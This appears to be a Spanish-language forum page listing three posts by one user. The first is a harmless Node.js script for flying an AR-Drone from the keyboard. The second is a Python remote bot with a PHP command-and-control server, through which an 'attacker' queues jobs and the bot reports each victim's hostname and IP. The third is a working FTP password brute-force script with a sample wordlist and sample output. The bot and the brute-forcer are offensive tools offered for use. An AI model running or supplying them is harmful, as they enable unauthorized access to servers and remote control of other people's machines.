Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - skollprog

#1
Tengo un drone ahí en una esquina de mi cuarto
casi sin usar dado que es molesto usarlo con
las MobileApps
ya que me consume mucha batería,
el manejo es anti-intuitivo y demás.

Así que decidí experimentar y ver cómo podía usarlo
desde la Notebook. Investigando en varios lugares
(sin mucha info al respecto), descubrí que se podía
utilizar la librería "ar-drone" de NodeJS.

Me puse a hacer un poco de scripting para ver
qué me salía. Cuestión... ahora tan sólo debo
manejar el drone desde la consola de comandos.

Cómo se hace?

Primero que nada, hay que asegurarse de tener
instalado NodeJS y NPM. En caso de no ser así,
les dejo esta URL, de donde pueden descargarlo
para el SO que tengan uds.

Código: php
https://nodejs.org/es/download/


Si ya está instalado, abrimos la consola de comandos
(o la terminal, si es que están usando linux),
e instalamos el paquete antes mencionado.

Código: dos
> npm install ar-drone


Una vez lo hayan instalado (no se preocupen si
tira tags amarillos con la palabra "WARN"),
abrimos SublimeText, Atom, Brackets
o cualquiera fuese el editor de texto que suelan usar
y escribimos el siguiente código:

Atención: El código está hecho a mi manera...
por lo que cada uno puede mejorar y cambiar lo
que le parezca necesario.


Modificación 12/27/2017: Código simplificado y más teclas agregadas.

Código: javascript
var arDrone = require('ar-drone');
var client  = arDrone.createClient();

client.disableEmergency();

status = "on";
camera = "frontal";
sens   = 0.6;

console.log("\033c");
console.log("\n[!] Ar-Drone connected.\n");

const readline = require('readline');
readline.emitKeypressEvents(process.stdin);
process.stdin.setRawMode(true);
process.stdin.on('keypress', (str, key) => {

kn = key.name;

if (kn === "escape") {
status = "off";
client.stop();
client.land();
console.log("\n\n[!] Disconnected.");
process.exit();
} else {

if (kn === "return") {
client.takeoff();
process.stdout.write(" --takeoff ");
}

if (kn === "backspace") {
client.stop();
client.land();
process.stdout.write(" --land ");
}

if (kn === "delete") {
client.stop();
process.stdout.write(" --kswitch ");
}

if (kn === "tab") {
if (camera == "frontal") {
client.config("video:video_channel", 3);
camera = "bottom";
process.stdout.write(" --cam:1 ");
} else if (camera == "bottom") {
client.config("video:video_channel", 0);
camera = "frontal";
process.stdout.write(" --cam:2 ");
}
}

if (kn === "1") {
sens = 0.2;
process.stdout.write(" --sens:1 ");
} else if (kn === "2") {
sens = 0.4;
process.stdout.write(" --sens:2 ");
} else if (kn === "3") {
sens = 0.6;
process.stdout.write(" --sens:3 ");
} else if (kn === "4") {
sens = 0.8;
process.stdout.write(" --sens:4 ");
} else if (kn === "5") {
sens = 1.0;
process.stdout.write(" --sens:5 ");
}

if (status == "on")
{
if (kn === "w") {
client.up(sens)
process.stdout.write(" +z ");
} else if (kn === "s") {
client.down(sens)
last = "s";
process.stdout.write(" -z ");
} else if (kn === "up") {
client.front(sens)
process.stdout.write(" +y ");
} else if (kn === "down") {
client.back(sens)
process.stdout.write(" -y ");
} else if (!key.shift && kn === "right") {
client.right(sens)
process.stdout.write(" +x ");
} else if (!key.shift && kn === "left") {
client.left(sens)
process.stdout.write(" -x ");
} else if (key.shift && kn === "right") {
client.clockwise(-sens);
process.stdout.write(" +r ");
} else if (key.shift && kn === "left") {
client.clockwise(sens);
process.stdout.write(" -r ");
}
}
}

});


A continuación, simplemente guardan este archivo
con el nombre que quieran, y en formato "js".
(Como ejemplo, voy a usar el nombre "ar-drone.js".)

Bien, suponiendo que tienen tarjeta WiFi o USB WiFi,
hay que conectarse al Drone (van a perder la conexión
a internet).

Ahora, en la consola de comandos o en terminal, tipeamos
lo siguiente:

Código: bash
node ar-drone.js


Y automáticamente se creará un enlace entre la Notebook,
PC, o similar y el Drone.

Cómo manejamos el Drone?

De la manera en que está programado el script
(que seguramente copiaron y pegaron), van a poder
usar las teclas (si se las ingenian, pueden usar sus
propios comandos, pero se les va a complicar un poco
para manejarlo).

Aquí la lista de controles...

Código: dos
Escape: Aterrizar y desconectar.
Delete: Killswitch.
Enter: Despegar.
Backspace: Aterrizar.
Up: Hacia adelante.
Down: Hacia atrás.
Left: Hacia la izquierda.
Rgiht: Hacia la derecha.
Shift + Left: Rotar hacia la izquierda.
Shift + Right: Rotar hacia la derecha.
W: Elevar.
S: Descender.
Tab: Cámara frontal / trasera.
1 / 2 / 3 / 4 / 5: Sensibilidad de movimiento.


Un ejemplo cómo se vería la consola de comandos
mientras piloteamos el Drone, sería el siguiente...

Código: dos
[!] Ar-Drone connected.

+y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +z  +z  +z  +z  +z  +z  +z  +z  +z  +z  +z  +z  +z  +z  +z  +z  +z  +z  +z  +z  +z  +z  +z  +z  +z  +z  +z  +z  +z  +z  +z  +z  +z  +z  +z  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +r  +r  +r  +r  +r  +r  +r  +r  +r  +r  +r  +r  +r  +r  +r  +r  +r  +r  +r  +r  +r  +r  +r  +r  +r  +r  +r  +r  +r  +x  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +y  +r  +r  +r  +r  +r  +r  +r  +r  +r  +r  +r  +r  +r  +r  +r  +r  +r  +r  +r  +r  +r  +r  +r  +r  +r  -z  -z  -z  -z  -z  -z  -z  -z  -z  -z  -z  -z  -z  -z  -z  -z  -x  -x  -x  -x  -x  -x  -x  -x  -x  -x  -x  -x  +x  +x  +x  +x  +x  +x  +x  +x  +x  +x  +x  +x  +x  +x  +x  +x  +x  +x  +x  +x  +x  +x  +x  +x  +x  +x  +x  +x  --land

[!] Disconnected.


Espero que les sea útil, y si de casualidad
alguien tiene alguna información extra que
sirva, el comentario será bienvenido entonces.

Saludos!
#2
Python / [APORTE] Bot vía peticiones POST
Diciembre 26, 2017, 09:46:00 AM
Buenas gente, estoy trabajando en un proyecto en el cual
se puedan generar bots remotos customizados mediante
una propia terminal de comandos.

Cómo funciona este bot?

El atacante emite tareas a ejecutar ("jobs") mediante
la terminal del mismo; éstas se emiten mediante peticiones
de tipo POST al servidor donde el bot va a hacer preguntas
constantes para saber si hay tareas a ejecutar.

Cuando el bot encuentra un "job", guarda la fecha y la
hora en la cual se emitió este (para no volver a ejecutarlo
una y otra vez en cada loop), lo parsea convirtiéndo toda
la cadena de texto en argumentos para poder analizarla
de manera más detallada, y luego ejecuta el "job" en cuestión.

Una vez terminado el "job", se genera un mensaje de reporte
("feedback") el cual es enviado al servior, para que el atacante
pueda saber si la tarea fue ejecutada o no. Cabe destacar que
sólo se va a enviar el "feedback" si se define dentro de la
función a ejecutar.

A continuación les dejo el código base que armé pero de forma
que uds puedan modificarlo a gusto.

Estructura del bot (Python)

Código: python
import requests
import socket
import time

def ip():

try: return requests.get("http://ip.42.pl/raw").text
except: return "unknown"

def query(data):

url = data["url"] + "remote.php"
return requests.post(url, data).text

data = {

"sys"      : "remote_bot",
"url"      : "http://192.168.0.7/", # configurable
"user"     : "skollprog", # configurable
"pass"     : "123456", # configurable
"id"       : "bot", # configurable
"hostname" : socket.gethostname(),
"address"  : ip(),
"feedback" : "Online",
"database" : "remote_db", # configurable
"jobs"     : "remote_jobs", # configurable
"sync"     : 1 #configurable
}

jobs = []

def job(argv):

args = len(argv)
date = argv[0] + " " + argv[1]

if not date in jobs:

jobs.append(date)

i = 0
for arg in argv:
argv[i] = arg.strip("\n")
i += 1

argv = argv[2::]

if argv[0] == "ip": data["feedback"] = ip()

while True:

try:
# buscar job
result = query(data).split(" ")
data["feedback"] = ""
job(result)

# emitir feedback
query(data)
data["feedback"] = ""

except:
pass

time.sleep(data["sync"])


Archivo Servidor (PHP)
(Este debe ir dentro del servidor al cual el bot va a hacer averiguaciones.)

Código: php
<?php

if (isset($_POST["sys"]) and $_POST["sys"] == "remote_bot")
{

if (isset($_POST["user"]) and isset($_POST["pass"]))
{
$user = $_POST["user"];
$pass = $_POST["pass"];

if ($user == "skollprog" and $pass == "123456")
{
if (isset($_POST["id"]) and $_POST["id"] != "")
{
$id   = $_POST["id"];
$time = date("Y-m-d H:i:s");

if (isset($_POST["job"]))
{
$job  = $_POST["job"];
$jobs = $_POST["jobs"].".txt";

$data = [
$time, $job
];

$file = fopen($jobs, "w");
fwrite($file, implode(", ", $data) . "\n");
fclose($file);
}
else
{
$host = $_POST["hostname"];
$addr = $_POST["address"];
$info = $_POST["feedback"];
$db   = $_POST["database"].".txt";
$jobs = $_POST["jobs"].".txt";

if ($info == "" and file_exists($jobs))
{
$data = file($jobs);
echo $data[count($data)-1];
}
else
{
if (!file_exists($db))
{
$data = [
"DATE, ID, HOSTNAME, ADDRESS, FEEDBACK\n"
];

$file = fopen($db, "w");
fwrite($file, implode(",", $data));
fclose($file);
}

if ($_POST["feedback"] != "")
{
$data = [
$time, $id, $host, $addr, $info
];

$file = fopen($db, "a+");
fwrite($file, implode(", ", $data) . "\n");
fclose($file);
}
}
}
}
}
}

}
else
{
echo "You cannot access here!";
}

?>


Consola Cliente (Python)
(Este se usa para enviar los "jobs".)

Código: python
import requests
import sys

def query(data):

try:
url = data["url"] + "remote.php"
return requests.post(url, data).text

except:
return ""

data = {

"sys"  : "remote_bot",
"url"  : "http://192.168.0.7/", # configurable
"user" : "skollprog", # configurable
"pass" : "123456", # configurable
"id"   : "bot", # configurable
"jobs" : "remote_jobs", # configurable
"job"  : ""

}

while True:

sys.stdout.write("./remote_bot:// ")
job = input("")
data["job"] = job
query(data)


Para acceder a los "feedback", simplemente se debe entrar a
No tienes permitido ver los links. Registrarse o Entrar a mi cuentaremote_db.txt

(Obviamente la url cambia según cuál hayan especificado.)

Un ejemplo de cómo se ven los "feedbacks":

Código: dos
DATE, ID, HOSTNAME, ADDRESS, FEEDBACK
2017-12-26 07:15:45, bot, PC-SKOLLPROG, 181.46.39.228, Online


Espero que les guste, saludos.
#3
Python / Bruteforce FTP Server
Diciembre 24, 2017, 02:53:57 PM
Buenas, gente!

Les dejo aquí un pequeño script sencillo que armé para
hacer fuerza bruta en servidores FTP.

Código: python
import ftplib
import sys

class FTPServer:

def force(self, host="", user="", dictionary="", callback=None):

if host != "":

try:
if callback != None:
print("")

for passwd in open(dictionary, "r"):

usr = user.strip()
pwd = passwd.strip()

if callback != None:
callback(host + " >> " + usr + ":" + pwd)

try:
ftp = ftplib.FTP(host, usr, pwd)
ftp.quit()

if callback != None:
print("")

return [host, usr, pwd]

except:
pass

except:
return False

else:
return False

def data(data):
print (data)

ftp = FTPServer()

host = sys.argv[1]
user = sys.argv[2]
file = sys.argv[3]

result = ftp.force(host, user, file, data)

if result != False:
print ("Host: " + result[0])
print ("User: " + result[1])
print ("Pass: " + result[2])

else:
print ("\n[!] Error.")


La forma de uso es la siguiente...

Código: php
archivo.py [dirección_ftp] [usuario] [lista_contraseñas]


Ejemplo:

Código: php
diccionario.txt

123456
abcdef
acdc73
dragon39
admin
sysadmin


Ejecución desde consola:

Código: dos
> archivo.py ftp.miserver.com root diccionario.txt

ftp.miserver.com >> root:123456
ftp.miserver.com >> root:abcdef
ftp.miserver.com >> root:acdc73

Host: ftp.miserver.com
User: root
Pass: acdc73


Espero que les guste, saludos!